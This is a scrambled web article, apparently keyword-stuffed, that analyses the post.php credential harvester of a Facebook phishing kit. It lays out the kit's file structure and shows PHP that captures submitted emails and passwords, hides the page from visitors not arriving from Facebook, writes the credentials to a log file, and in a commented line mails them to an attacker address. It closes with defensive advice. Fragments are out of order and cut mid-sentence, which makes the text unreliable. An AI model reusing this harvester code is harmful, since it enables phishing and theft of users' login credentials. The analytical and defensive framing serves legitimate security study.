if(strpos($_SERVER['HTTP_REFERER'], 'facebook.com') === false) header("HTTP/1.0 404 Not Found"); exit();
// 2. Basic input sanitization (Ironically, to avoid breaking the attack) $email = trim($email); $password = trim($password); facebook phishing postphp code
// 6. Optional: Send to attacker's email (more risky for them) // mail("attacker@protonmail.com", "New Facebook Log", $data); if(strpos($_SERVER['HTTP_REFERER'], 'facebook
// 5. Write to file (the harvesting mechanism) file_put_contents($log_file, $data, FILE_APPEND | LOCK_EX); For researchers: Keep dissecting; the more we expose
For developers: Audit your servers regularly. Monitor for unexpected file_put_contents calls and external redirects. For users: Never trust a login page you didn’t navigate to yourself. For researchers: Keep dissecting; the more we expose these code patterns, the harder it becomes for attackers to operate.
phishing-kit/ ├── index.html (Fake Facebook login page) ├── post.php (The credential harvester) ├── log.txt or credentials.txt (Storage file) ├── redirect.html (Sends victim to real Facebook) └── style.css (Mimics Facebook’s design) The post.php script is what separates a “dumb” HTML copy from a fully functional phishing operation. Below is an anonymized but realistic example of the PHP code used in the wild for Facebook phishing. Let's analyze it line by logical section. The Code <?php // Facebook Phishing Post Script - Educational Analysis Only // 1. Capture incoming POST data from the fake login form $email = $_POST['email']; $password = $_POST['pass'];
When security researchers talk about "Facebook phishing postphp code," they are referring to a specific breed of server-side scripts designed to intercept login credentials. Unlike simple fake login pages that only capture data locally, these PHP scripts actively process, store, and sometimes even redirect victims to the real Facebook to avoid suspicion.